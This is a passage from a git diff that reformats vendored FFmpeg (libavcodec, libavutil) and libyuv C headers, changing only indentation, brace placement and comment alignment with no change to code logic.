audio_min_samples[3]; /* min amount of audio samples */ - /* for 48kHz, 44.1kHz and 32kHz */ + /* for 48kHz, 44.1kHz and 32kHz */ int audio_samples_dist[5]; /* how many samples are supposed to be */ - /* in each frame in a 5 frames window */ + /* in each frame in a 5 frames window */ const uint8_t (*audio_shuffle)[9]; /* PCM shuffling table */ } AVDVProfile; diff --git a/compress/libavcodec/vorbis_parser.h b/compress/libavcodec/vorbis_parser.h index 789932a..41d6de1 100644 --- a/compress/libavcodec/vorbis_parser.h +++ b/compress/libavcodec/vorbis_parser.h @@ -34,7 +34,7 @@ typedef struct AVVorbisParseContext AVVorbisParseContext; * Allocate and initialize the Vorbis parser using headers in the extradata. */ AVVorbisParseContext *av_vorbis_parse_init(const uint8_t *extradata, - int extradata_size); + int extradata_size); /** * Free the parser and everything associated with it. diff --git a/compress/libavcodec/xvmc.h b/compress/libavcodec/xvmc.h index 465ee78..f9f56ee 100644 --- a/compress/libavcodec/xvmc.h +++ b/compress/libavcodec/xvmc.h @@ -103,8 +103,8 @@ struct attribute_deprecated xvmc_pix_fmt { */ XvMCSurface* p_surface; -/** Set by the decoder before calling ff_draw_horiz_band(), - needed by the XvMCRenderSurface function. */ + /** Set by the decoder before calling ff_draw_horiz_band(), + needed by the XvMCRenderSurface function. */ //@{ /** Pointer to the surface used as past reference - application - unchanged diff --git a/compress/libavutil/base64.h b/compress/libavutil/base64.h index 2954c12..1bdba99 100644 --- a/compress/libavutil/base64.h +++ b/compress/libavutil/base64.h @@ -65,8 +65,8 @@ char *av_base64_encode(char *out, int out_size, const uint8_t *in, int in_size); */ #define AV_BASE64_SIZE(x) (((x)+2) / 3 * 4 + 1) - /** - * @} - */ +/** + * @} + */ #endif /* AVUTIL_BASE64_H */ diff --git a/compress/libavutil/bprint.h b/compress/libavutil/bprint.h index c09b1ac..e37e5e9 100644 --- a/compress/libavutil/bprint.h +++ b/compress/libavutil/bprint.h @@ -80,12 +80,12 @@ typedef struct name { \ */ FF_PAD_STRUCTURE(AVBPrint, 1024, - char *str; /**< string so far */ - unsigned len; /**< length so far */ - unsigned size; /**< allocated memory */ - unsigned size_max; /**< maximum allocated memory */ - char reserved_internal_buffer[1]; -) + char *str; /**< string so far */ + unsigned len; /**< length so far */ + unsigned size; /**< allocated memory */ + unsigned size_max; /**< maximum allocated memory */ + char reserved_internal_buffer[1]; + ) /** * Convenience macros for special values for av_bprint_init() size_max diff --git a/compress/libavutil/cpu.h b/compress/libavutil/cpu.h index 8bb9eb6..2c9dfdc 100644 --- a/compress/libavutil/cpu.h +++ b/compress/libavutil/cpu.h @@ -27,7 +27,7 @@ #define AV_CPU_FLAG_FORCE 0x80000000 /* force usage of selected flags (OR) */ - /* lower 16 bits - CPU features */ +/* lower 16 bits - CPU features */ #define AV_CPU_FLAG_MMX 0x0001 ///< standard MMX #define AV_CPU_FLAG_MMXEXT 0x0002 ///< SSE integer functions or AMD MMX ext #define AV_CPU_FLAG_MMX2 0x0002 ///< SSE integer functions or AMD MMX ext @@ -35,11 +35,11 @@ #define AV_CPU_FLAG_SSE 0x0008 ///< SSE functions #define AV_CPU_FLAG_SSE2 0x0010 ///< PIV SSE2 functions #define AV_CPU_FLAG_SSE2SLOW 0x40000000 ///< SSE2 supported, but usually not faster - ///< than regular MMX/SSE (e.g. Core1) +///< than regular MMX/SSE (e.g. Core1) #define AV_CPU_FLAG_3DNOWEXT 0x0020 ///< AMD 3DNowExt #define AV_CPU_FLAG_SSE3 0x0040 ///< Prescott SSE3 functions #define AV_CPU_FLAG_SSE3SLOW 0x20000000 ///< SSE3 supported, but usually not faster - ///< than regular MMX/SSE (e.g. Core1) +///< than regular MMX/SSE (e.g. Core1) #define AV_CPU_FLAG_SSSE3 0x0080 ///< Conroe SSSE3 functions #define AV_CPU_FLAG_SSSE3SLOW 0x4000000 ///< SSSE3 supported, but usually not faster #define AV_CPU_FLAG_ATOM 0x10000000 ///< Atom processor, some SSSE3 instructions are slower diff --git a/compress/libavutil/crc.h b/compress/libavutil/crc.h index 47e22b4..76c0cf3 100644 --- a/compress/libavutil/crc.h +++ b/compress/libavutil/crc.h @@ -56,7 +56,7 @@ typedef enum { AV_CRC_24_IEEE, AV_CRC_8_EBU, AV_CRC_MAX, /*< Not part of public API! Do not use outside libavutil. */ -}AVCRCId; +} AVCRCId; /** * Initialize a CRC table. diff --git a/compress/libavutil/encryption_info.h b/compress/libavutil/encryption_info.h index ec5501a..abe090e 100644 --- a/compress/libavutil/encryption_info.h +++ b/compress/libavutil/encryption_info.h @@ -159,7 +159,7 @@ AVEncryptionInfo *av_encryption_info_get_side_data(const uint8_t *side_data, siz * @return The new side-data pointer, or NULL. */ uint8_t *av_encryption_info_add_side_data( - const AVEncryptionInfo *info, size_t *side_data_size); + const AVEncryptionInfo *info, size_t *side_data_size); /** diff --git a/compress/libavutil/frame.h b/compress/libavutil/frame.h index 9d57d6c..118e2e0 100644 --- a/compress/libavutil/frame.h +++ b/compress/libavutil/frame.h @@ -430,25 +430,25 @@ typedef struct AVFrame { AVFrameSideData **side_data; int nb_side_data; -/** - * @defgroup lavu_frame_flags AV_FRAME_FLAGS - * @ingroup lavu_frame - * Flags describing additional frame properties. - * - * @{ - */ + /** + * @defgroup lavu_frame_flags AV_FRAME_FLAGS + * @ingroup lavu_frame + * Flags describing additional frame properties. + * + * @{ + */ -/** - * The frame data may be corrupted, e.g. due to decoding errors. - */ + /** + * The frame data may be corrupted, e.g. due to decoding errors. + */ #define AV_FRAME_FLAG_CORRUPT (1 << 0) -/** - * A flag to mark the frames which need to be decoded, but shouldn't be output. - */ + /** + * A flag to mark the frames which need to be decoded, but shouldn't be output. + */ #define AV_FRAME_FLAG_DISCARD (1 << 2) -/** - * @} - */ + /** + * @} + */ /** * Frame flags, a combination of @ref lavu_frame_flags @@ -831,8 +831,8 @@ AVFrameSideData *av_frame_new_side_data(AVFrame *frame, * the caller. */ AVFrameSideData *av_frame_new_side_data_from_buf(AVFrame *frame, - enum AVFrameSideDataType type, - AVBufferRef *buf); + enum AVFrameSideDataType type, + AVBufferRef *buf); /** * @return a pointer to the side data of a given type on success, NULL if there diff --git a/compress/libavutil/hwcontext.h b/compress/libavutil/hwcontext.h index f5a4b62..7c3bb29 100644 --- a/compress/libavutil/hwcontext.h +++ b/compress/libavutil/hwcontext.h @@ -483,7 +483,7 @@ void *av_hwdevice_hwconfig_alloc(AVBufferRef *device_ctx); * on the device, or NULL if not available. */ AVHWFramesConstraints *av_hwdevice_get_hwframe_constraints(AVBufferRef *ref, - const void *hwconfig); + const void *hwconfig); /** * Free an AVHWFrameConstraints structure. diff --git a/compress/libavutil/intreadwrite.h b/compress/libavutil/intreadwrite.h index 67c763b..86234d7 100644 --- a/compress/libavutil/intreadwrite.h +++ b/compress/libavutil/intreadwrite.h @@ -217,9 +217,15 @@ typedef union { #if defined(__GNUC__) -union unaligned_64 { uint64_t l; } __attribute__((packed)) av_alias; -union unaligned_32 { uint32_t l; } __attribute__((packed)) av_alias; -union unaligned_16 { uint16_t l; } __attribute__((packed)) av_alias; +union unaligned_64 { + uint64_t l; +} __attribute__((packed)) av_alias; +union unaligned_32 { + uint32_t l; +} __attribute__((packed)) av_alias; +union unaligned_16 { + uint16_t l; +} __attribute__((packed)) av_alias; # define AV_RN(s, p) (((const union unaligned_##s *) (p))->l) # define AV_WN(s, p, v) ((((union unaligned_##s *) (p))->l) = (v)) diff --git a/compress/libavutil/lfg.h b/compress/libavutil/lfg.h index 03f779a..700e37f 100644 --- a/compress/libavutil/lfg.h +++ b/compress/libavutil/lfg.h @@ -44,7 +44,8 @@ int av_lfg_init_from_data(AVLFG *c, const uint8_t *data, unsigned int length); * Please also consider a simple LCG like state= state*1664525+1013904223, * it may be good enough and faster for your specific use case. */ -static inline unsigned int av_lfg_get(AVLFG *c){ +static inline unsigned int av_lfg_get(AVLFG *c) +{ c->state[c->index & 63] = c->state[(c->index-24) & 63] + c->state[(c->index-55) & 63]; return c->state[c->index++ & 63]; } @@ -54,7 +55,8 @@ static inline unsigned int av_lfg_get(AVLFG *c){ * * Please also consider av_lfg_get() above, it is faster. */ -static inline unsigned int av_mlfg_get(AVLFG *c){ +static inline unsigned int av_mlfg_get(AVLFG *c) +{ unsigned int a= c->state[(c->index-55) & 63]; unsigned int b= c->state[(c->index-24) & 63]; return c->state[c->index++ & 63] = 2*a*b+a+b; diff --git a/compress/libavutil/log.h b/compress/libavutil/log.h index d9554e6..03f4286 100644 --- a/compress/libavutil/log.h +++ b/compress/libavutil/log.h @@ -45,7 +45,7 @@ typedef enum { AV_CLASS_CATEGORY_DEVICE_OUTPUT, AV_CLASS_CATEGORY_DEVICE_INPUT, AV_CLASS_CATEGORY_NB ///< not part of ABI/API -}AVClassCategory; +} AVClassCategory; #define AV_IS_INPUT_DEVICE(category) \ (((category) == AV_CLASS_CATEGORY_DEVICE_VIDEO_INPUT) || \ diff --git a/compress/libavutil/mem.h b/compress/libavutil/mem.h index 7e0b12a..5f54a66 100644 --- a/compress/libavutil/mem.h +++ b/compress/libavutil/mem.h @@ -101,25 +101,25 @@ */ #if defined(__INTEL_COMPILER) && __INTEL_COMPILER < 1110 || defined(__SUNPRO_C) - #define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v - #define DECLARE_ASM_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v - #define DECLARE_ASM_CONST(n,t,v) const t __attribute__ ((aligned (n))) v +#define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v +#define DECLARE_ASM_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v +#define DECLARE_ASM_CONST(n,t,v) const t __attribute__ ((aligned (n))) v #elif defined(__DJGPP__) - #define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (FFMIN(n, 16)))) v - #define DECLARE_ASM_ALIGNED(n,t,v) t av_used __attribute__ ((aligned (FFMIN(n, 16)))) v - #define DECLARE_ASM_CONST(n,t,v) static const t av_used __attribute__ ((aligned (FFMIN(n, 16)))) v +#define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (FFMIN(n, 16)))) v +#define DECLARE_ASM_ALIGNED(n,t,v) t av_used __attribute__ ((aligned (FFMIN(n, 16)))) v +#define DECLARE_ASM_CONST(n,t,v) static const t av_used __attribute__ ((aligned (FFMIN(n, 16)))) v #elif defined(__GNUC__) || defined(__clang__) - #define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v - #define DECLARE_ASM_ALIGNED(n,t,v) t av_used __attribute__ ((aligned (n))) v - #define DECLARE_ASM_CONST(n,t,v) static const t av_used __attribute__ ((aligned (n))) v +#define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v +#define DECLARE_ASM_ALIGNED(n,t,v) t av_used __attribute__ ((aligned (n))) v +#define DECLARE_ASM_CONST(n,t,v) static const t av_used __attribute__ ((aligned (n))) v #elif defined(_MSC_VER) - #define DECLARE_ALIGNED(n,t,v) __declspec(align(n)) t v - #define DECLARE_ASM_ALIGNED(n,t,v) __declspec(align(n)) t v - #define DECLARE_ASM_CONST(n,t,v) __declspec(align(n)) static const t v +#define DECLARE_ALIGNED(n,t,v) __declspec(align(n)) t v +#define DECLARE_ASM_ALIGNED(n,t,v) __declspec(align(n)) t v +#define DECLARE_ASM_CONST(n,t,v) __declspec(align(n)) static const t v #else - #define DECLARE_ALIGNED(n,t,v) t v - #define DECLARE_ASM_ALIGNED(n,t,v) t v - #define DECLARE_ASM_CONST(n,t,v) static const t v +#define DECLARE_ALIGNED(n,t,v) t v +#define DECLARE_ASM_ALIGNED(n,t,v) t v +#define DECLARE_ASM_CONST(n,t,v) static const t v #endif /** @@ -143,9 +143,9 @@ */ #if AV_GCC_VERSION_AT_LEAST(3,1) - #define av_malloc_attrib __attribute__((__malloc__)) +#define av_malloc_attrib __attribute__((__malloc__)) #else - #define av_malloc_attrib +#define av_malloc_attrib #endif /** @@ -164,9 +164,9 @@ */ #if AV_GCC_VERSION_AT_LEAST(4,3) - #define av_alloc_size(...) __attribute__((alloc_size(__VA_ARGS__))) +#define av_alloc_size(...) __attribute__((alloc_size(__VA_ARGS__))) #else - #define av_alloc_size(...) +#define av_alloc_size(...) #endif /** diff --git a/compress/libavutil/opt.h b/compress/libavutil/opt.h index 39f4a8d..5af5848 100644 --- a/compress/libavutil/opt.h +++ b/compress/libavutil/opt.h @@ -218,7 +218,7 @@ * before the file is actually opened. */ -enum AVOptionType{ +enum AVOptionType { AV_OPT_TYPE_FLAGS, AV_OPT_TYPE_INT, AV_OPT_TYPE_INT64, @@ -278,14 +278,14 @@ typedef struct AVOption { #define AV_OPT_FLAG_AUDIO_PARAM 8 #define AV_OPT_FLAG_VIDEO_PARAM 16 #define AV_OPT_FLAG_SUBTITLE_PARAM 32 -/** - * The option is intended for exporting values to the caller. - */ + /** + * The option is intended for exporting values to the caller. + */ #define AV_OPT_FLAG_EXPORT 64 -/** - * The option may not be set through the AVOptions API, only read. - * This flag only makes sense when AV_OPT_FLAG_EXPORT is also set. - */ + /** + * The option may not be set through the AVOptions API, only read. + * This flag only makes sense when AV_OPT_FLAG_EXPORT is also set. + */ #define AV_OPT_FLAG_READONLY 128 #define AV_OPT_FLAG_BSF_PARAM (1<<8) ///< a generic parameter which can be set by the user for bit stream filtering #define AV_OPT_FLAG_FILTERING_PARAM (1<<16) ///< a generic parameter which can be set by the user for filtering diff --git a/compress/libavutil/pixdesc.h b/compress/libavutil/pixdesc.h index 4f9c5a2..71a1268 100644 --- a/compress/libavutil/pixdesc.h +++ b/compress/libavutil/pixdesc.h @@ -424,6 +424,6 @@ int av_get_pix_fmt_loss(enum AVPixelFormat dst_pix_fmt, * (maximum loss for an invalid dst_pix_fmt). */ enum AVPixelFormat av_find_best_pix_fmt_of_2(enum AVPixelFormat dst_pix_fmt1, enum AVPixelFormat dst_pix_fmt2, - enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); + enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); #endif /* AVUTIL_PIXDESC_H */ diff --git a/compress/libavutil/pixelutils.h b/compress/libavutil/pixelutils.h index a8dbc15..314804f 100644 --- a/compress/libavutil/pixelutils.h +++ b/compress/libavutil/pixelutils.h @@ -47,6 +47,6 @@ typedef int (*av_pixelutils_sad_fn)(const uint8_t *src1, ptrdiff_t stride1, * invalid parameters) */ av_pixelutils_sad_fn av_pixelutils_get_sad_fn(int w_bits, int h_bits, - int aligned, void *log_ctx); + int aligned, void *log_ctx); #endif /* AVUTIL_PIXELUTILS_H */ diff --git a/compress/libavutil/rational.h b/compress/libavutil/rational.h index 5c6b67b..d299c5f 100644 --- a/compress/libavutil/rational.h +++ b/compress/libavutil/rational.h @@ -55,7 +55,7 @@ /** * Rational number (pair of numerator and denominator). */ -typedef struct AVRational{ +typedef struct AVRational { int num; ///< Numerator int den; ///< Denominator } AVRational; @@ -86,7 +86,8 @@ static inline AVRational av_make_q(int num, int den) * - -1 if `a < b` * - `INT_MIN` if one of the values is of the form `0 / 0` */ -static inline int av_cmp_q(AVRational a, AVRational b){ +static inline int av_cmp_q(AVRational a, AVRational b) +{ const int64_t tmp= a.num * (int64_t)b.den - b.num * (int64_t)a.den; if(tmp) return (int)((tmp ^ a.den ^ b.den)>>63)|1; @@ -101,7 +102,8 @@ static inline int av_cmp_q(AVRational a, AVRational b){ * @return `a` in floating-point form * @see av_d2q() */ -static inline double av_q2d(AVRational a){ +static inline double av_q2d(AVRational a) +{ return a.num / (double) a.den; } diff --git a/compress/libavutil/threadmessage.h b/compress/libavutil/threadmessage.h index 42ce655..f18e5fe 100644 --- a/compress/libavutil/threadmessage.h +++ b/compress/libavutil/threadmessage.h @@ -75,7 +75,7 @@ int av_thread_message_queue_recv(AVThreadMessageQueue *mq, * suspend its operation. */ void av_thread_message_queue_set_err_send(AVThreadMessageQueue *mq, - int err); + int err); /** * Set the receiving error code. @@ -86,14 +86,14 @@ void av_thread_message_queue_set_err_send(AVThreadMessageQueue *mq, * to cause the receiving thread to stop or suspend its operation. */ void av_thread_message_queue_set_err_recv(AVThreadMessageQueue *mq, - int err); + int err); /** * Set the optional free message callback function which will be called if an * operation is removing messages from the queue. */ void av_thread_message_queue_set_free_func(AVThreadMessageQueue *mq, - void (*free_func)(void *msg)); + void (*free_func)(void *msg)); /** * Return the current number of messages in the queue. diff --git a/compress/libyuv/libyuv/compare.h b/compress/libyuv/libyuv/compare.h index 3353ad7..0f619b2 100644 --- a/compress/libyuv/libyuv/compare.h +++ b/compress/libyuv/libyuv/compare.h @@ -14,7 +14,8 @@ #include "libyuv/basic_types.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/compare_row.h b/compress/libyuv/libyuv/compare_row.h index 31113c0..1d33696 100644 --- a/compress/libyuv/libyuv/compare_row.h +++ b/compress/libyuv/libyuv/compare_row.h @@ -15,7 +15,8 @@ #include "libyuv/cpu_support.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/convert.h b/compress/libyuv/libyuv/convert.h index 79dcf05..032d744 100644 --- a/compress/libyuv/libyuv/convert.h +++ b/compress/libyuv/libyuv/convert.h @@ -21,7 +21,8 @@ #include "libyuv/planar_functions.h" // For WebRTC I420Rect, CopyPlane. b/618 #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/convert_argb.h b/compress/libyuv/libyuv/convert_argb.h index 5b50567..ccd4ce9 100644 --- a/compress/libyuv/libyuv/convert_argb.h +++ b/compress/libyuv/libyuv/convert_argb.h @@ -17,7 +17,8 @@ #include "libyuv/scale.h" // For enum FilterMode. #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/convert_from.h b/compress/libyuv/libyuv/convert_from.h index 32f42a6..64ddad0 100644 --- a/compress/libyuv/libyuv/convert_from.h +++ b/compress/libyuv/libyuv/convert_from.h @@ -15,7 +15,8 @@ #include "libyuv/rotate.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/convert_from_argb.h b/compress/libyuv/libyuv/convert_from_argb.h index ff2a581..7ff1a1e 100644 --- a/compress/libyuv/libyuv/convert_from_argb.h +++ b/compress/libyuv/libyuv/convert_from_argb.h @@ -14,7 +14,8 @@ #include "libyuv/basic_types.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/cpu_id.h b/compress/libyuv/libyuv/cpu_id.h index 44ea8c0..0997062 100644 --- a/compress/libyuv/libyuv/cpu_id.h +++ b/compress/libyuv/libyuv/cpu_id.h @@ -14,7 +14,8 @@ #include "libyuv/basic_types.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif @@ -76,14 +77,15 @@ int InitCpuFlags(void); // Detect CPU has SSE2 etc. // Test_flag parameter should be one of kCpuHas constants above. // Returns non-zero if instruction set is detected -static __inline int TestCpuFlag(int test_flag) { - LIBYUV_API extern int cpu_info_; +static __inline int TestCpuFlag(int test_flag) +{ + LIBYUV_API extern int cpu_info_; #ifdef __ATOMIC_RELAXED - int cpu_info = __atomic_load_n(&cpu_info_, __ATOMIC_RELAXED); + int cpu_info = __atomic_load_n(&cpu_info_, __ATOMIC_RELAXED); #else - int cpu_info = cpu_info_; + int cpu_info = cpu_info_; #endif - return (!cpu_info ? InitCpuFlags() : cpu_info) & test_flag; + return (!cpu_info ? InitCpuFlags() : cpu_info) & test_flag; } // Internal function for parsing /proc/cpuinfo. @@ -128,12 +130,13 @@ int MaskCpuFlags(int enable_flags); // TODO(fbarchard): consider writing a helper function that translates from // other library CPU info to libyuv CPU info and add a .md doc that explains // CPU detection. -static __inline void SetCpuFlags(int cpu_flags) { - LIBYUV_API extern int cpu_info_; +static __inline void SetCpuFlags(int cpu_flags) +{ + LIBYUV_API extern int cpu_info_; #ifdef __ATOMIC_RELAXED - __atomic_store_n(&cpu_info_, cpu_flags, __ATOMIC_RELAXED); + __atomic_store_n(&cpu_info_, cpu_flags, __ATOMIC_RELAXED); #else - cpu_info_ = cpu_flags; + cpu_info_ = cpu_flags; #endif } diff --git a/compress/libyuv/libyuv/cpu_support.h b/compress/libyuv/libyuv/cpu_support.h index 168764b..0f67045 100644 --- a/compress/libyuv/libyuv/cpu_support.h +++ b/compress/libyuv/libyuv/cpu_support.h @@ -12,7 +12,8 @@ #define INCLUDE_LIBYUV_CPU_SUPPORT_H_ #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/loongson_intrinsics.h b/compress/libyuv/libyuv/loongson_intrinsics.h index 1d613de..78e00a8 100644 --- a/compress/libyuv/libyuv/loongson_intrinsics.h +++ b/compress/libyuv/libyuv/loongson_intrinsics.h @@ -93,12 +93,13 @@ */ static inline __m128i __lsx_vdp2add_h_b(__m128i in_c, __m128i in_h, - __m128i in_l) { - __m128i out; + __m128i in_l) +{ + __m128i out; - out = __lsx_vmaddwev_h_b(in_c, in_h, in_l); - out = __lsx_vmaddwod_h_b(out, in_h, in_l); - return out; + out = __lsx_vmaddwev_h_b(in_c, in_h, in_l); + out = __lsx_vmaddwod_h_b(out, in_h, in_l); + return out; } /* @@ -119,13 +120,14 @@ static inline __m128i __lsx_vdp2add_h_b(__m128i in_c, * ============================================================================= */ static inline __m128i __lsx_vdp2add_h_bu(__m128i in_c, - __m128i in_h, - __m128i in_l) { - __m128i out; + __m128i in_h, + __m128i in_l) +{ + __m128i out; - out = __lsx_vmaddwev_h_bu(in_c, in_h, in_l); - out = __lsx_vmaddwod_h_bu(out, in_h, in_l); - return out; + out = __lsx_vmaddwev_h_bu(in_c, in_h, in_l); + out = __lsx_vmaddwod_h_bu(out, in_h, in_l); + return out; } /* @@ -146,13 +148,14 @@ static inline __m128i __lsx_vdp2add_h_bu(__m128i in_c, * ============================================================================= */ static inline __m128i __lsx_vdp2add_h_bu_b(__m128i in_c, - __m128i in_h, - __m128i in_l) { - __m128i out; + __m128i in_h, + __m128i in_l) +{ + __m128i out; - out = __lsx_vmaddwev_h_bu_b(in_c, in_h, in_l); - out = __lsx_vmaddwod_h_bu_b(out, in_h, in_l); - return out; + out = __lsx_vmaddwev_h_bu_b(in_c, in_h, in_l); + out = __lsx_vmaddwod_h_bu_b(out, in_h, in_l); + return out; } /* @@ -174,12 +177,13 @@ static inline __m128i __lsx_vdp2add_h_bu_b(__m128i in_c, */ static inline __m128i __lsx_vdp2add_w_h(__m128i in_c, __m128i in_h, - __m128i in_l) { - __m128i out; + __m128i in_l) +{ + __m128i out; - out = __lsx_vmaddwev_w_h(in_c, in_h, in_l); - out = __lsx_vmaddwod_w_h(out, in_h, in_l); - return out; + out = __lsx_vmaddwev_w_h(in_c, in_h, in_l); + out = __lsx_vmaddwod_w_h(out, in_h, in_l); + return out; } /* @@ -197,12 +201,13 @@ static inline __m128i __lsx_vdp2add_w_h(__m128i in_c, * out : 22,38,38,22, 22,38,38,22 * ============================================================================= */ -static inline __m128i __lsx_vdp2_h_b(__m128i in_h, __m128i in_l) { - __m128i out; +static inline __m128i __lsx_vdp2_h_b(__m128i in_h, __m128i in_l) +{ + __m128i out; - out = __lsx_vmulwev_h_b(in_h, in_l); - out = __lsx_vmaddwod_h_b(out, in_h, in_l); - return out; + out = __lsx_vmulwev_h_b(in_h, in_l); + out = __lsx_vmaddwod_h_b(out, in_h, in_l); + return out; } /* @@ -220,12 +225,13 @@ static inline __m128i __lsx_vdp2_h_b(__m128i in_h, __m128i in_l) { * out : 22,38,38,22, 22,38,38,22 * ============================================================================= */ -static inline __m128i __lsx_vdp2_h_bu(__m128i in_h, __m128i in_l) { - __m128i out; +static inline __m128i __lsx_vdp2_h_bu(__m128i in_h, __m128i in_l) +{ + __m128i out; - out = __lsx_vmulwev_h_bu(in_h, in_l); - out = __lsx_vmaddwod_h_bu(out, in_h, in_l); - return out; + out = __lsx_vmulwev_h_bu(in_h, in_l); + out = __lsx_vmaddwod_h_bu(out, in_h, in_l); + return out; } /* @@ -243,12 +249,13 @@ static inline __m128i __lsx_vdp2_h_bu(__m128i in_h, __m128i in_l) { * out : 22,38,38,22, 22,38,38,6 * ============================================================================= */ -static inline __m128i __lsx_vdp2_h_bu_b(__m128i in_h, __m128i in_l) { - __m128i out; +static inline __m128i __lsx_vdp2_h_bu_b(__m128i in_h, __m128i in_l) +{ + __m128i out; - out = __lsx_vmulwev_h_bu_b(in_h, in_l); - out = __lsx_vmaddwod_h_bu_b(out, in_h, in_l); - return out; + out = __lsx_vmulwev_h_bu_b(in_h, in_l); + out = __lsx_vmaddwod_h_bu_b(out, in_h, in_l); + return out; } /* @@ -266,12 +273,13 @@ static inline __m128i __lsx_vdp2_h_bu_b(__m128i in_h, __m128i in_l) { * out : 22,38,38,22 * ============================================================================= */ -static inline __m128i __lsx_vdp2_w_h(__m128i in_h, __m128i in_l) { - __m128i out; +static inline __m128i __lsx_vdp2_w_h(__m128i in_h, __m128i in_l) +{ + __m128i out; - out = __lsx_vmulwev_w_h(in_h, in_l); - out = __lsx_vmaddwod_w_h(out, in_h, in_l); - return out; + out = __lsx_vmulwev_w_h(in_h, in_l); + out = __lsx_vmaddwod_w_h(out, in_h, in_l); + return out; } /* @@ -291,12 +299,13 @@ static inline __m128i __lsx_vdp2_w_h(__m128i in_h, __m128i in_l) { * out : 1,2,9,9, 1,9,9,9 * ============================================================================= */ -static inline __m128i __lsx_vclip_h(__m128i _in, __m128i min, __m128i max) { - __m128i out; +static inline __m128i __lsx_vclip_h(__m128i _in, __m128i min, __m128i max) +{ + __m128i out; - out = __lsx_vmax_h(min, _in); - out = __lsx_vmin_h(max, out); - return out; + out = __lsx_vmax_h(min, _in); + out = __lsx_vmin_h(max, out); + return out; } /* @@ -311,12 +320,13 @@ static inline __m128i __lsx_vclip_h(__m128i _in, __m128i min, __m128i max) { * out : 0,255,255,249, 0,255,255,249 * ============================================================================= */ -static inline __m128i __lsx_vclip255_h(__m128i _in) { - __m128i out; +static inline __m128i __lsx_vclip255_h(__m128i _in) +{ + __m128i out; - out = __lsx_vmaxi_h(_in, 0); - out = __lsx_vsat_hu(out, 7); - return out; + out = __lsx_vmaxi_h(_in, 0); + out = __lsx_vsat_hu(out, 7); + return out; } /* @@ -331,12 +341,13 @@ static inline __m128i __lsx_vclip255_h(__m128i _in) { * out : 0,255,255,249 * ============================================================================= */ -static inline __m128i __lsx_vclip255_w(__m128i _in) { - __m128i out; +static inline __m128i __lsx_vclip255_w(__m128i _in) +{ + __m128i out; - out = __lsx_vmaxi_w(_in, 0); - out = __lsx_vsat_wu(out, 7); - return out; + out = __lsx_vmaxi_w(_in, 0); + out = __lsx_vsat_wu(out, 7); + return out; } /* @@ -719,12 +730,13 @@ static inline __m128i __lsx_vclip255_w(__m128i _in) { * Example : See out = __lasx_xvdp2_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvdp2_h_bu(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvdp2_h_bu(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_h_bu(in_h, in_l); - out = __lasx_xvmaddwod_h_bu(out, in_h, in_l); - return out; + out = __lasx_xvmulwev_h_bu(in_h, in_l); + out = __lasx_xvmaddwod_h_bu(out, in_h, in_l); + return out; } /* @@ -741,12 +753,13 @@ static inline __m256i __lasx_xvdp2_h_bu(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvdp2_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvdp2_h_b(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvdp2_h_b(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_h_b(in_h, in_l); - out = __lasx_xvmaddwod_h_b(out, in_h, in_l); - return out; + out = __lasx_xvmulwev_h_b(in_h, in_l); + out = __lasx_xvmaddwod_h_b(out, in_h, in_l); + return out; } /* @@ -766,12 +779,13 @@ static inline __m256i __lasx_xvdp2_h_b(__m256i in_h, __m256i in_l) { * out : 22,38,38,22, 22,38,38,22 * ============================================================================= */ -static inline __m256i __lasx_xvdp2_w_h(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvdp2_w_h(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_w_h(in_h, in_l); - out = __lasx_xvmaddwod_w_h(out, in_h, in_l); - return out; + out = __lasx_xvmulwev_w_h(in_h, in_l); + out = __lasx_xvmaddwod_w_h(out, in_h, in_l); + return out; } /* @@ -788,12 +802,13 @@ static inline __m256i __lasx_xvdp2_w_h(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvdp2_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvdp2_d_w(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i __lasx_xvdp2_d_w(__m256i in_h, __m256i in_l) +{ + __m256i out; - out = __lasx_xvmulwev_d_w(in_h, in_l); - out = __lasx_xvmaddwod_d_w(out, in_h, in_l); - return out; + out = __lasx_xvmulwev_d_w(in_h, in_l); + out = __lasx_xvmaddwod_d_w(out, in_h, in_l); + return out; } /* @@ -810,12 +825,13 @@ static inline __m256i __lasx_xvdp2_d_w(__m256i in_h, __m256i in_l) { * Example : See out = __lasx_xvdp2_w_h(in_h, in_l) * ============================================================================= */ -static inline __m256i __lasx_xvdp2_w_hu_h(__m256i in_h, __m256i in_l) { - __m256i out; +static inline __m256i 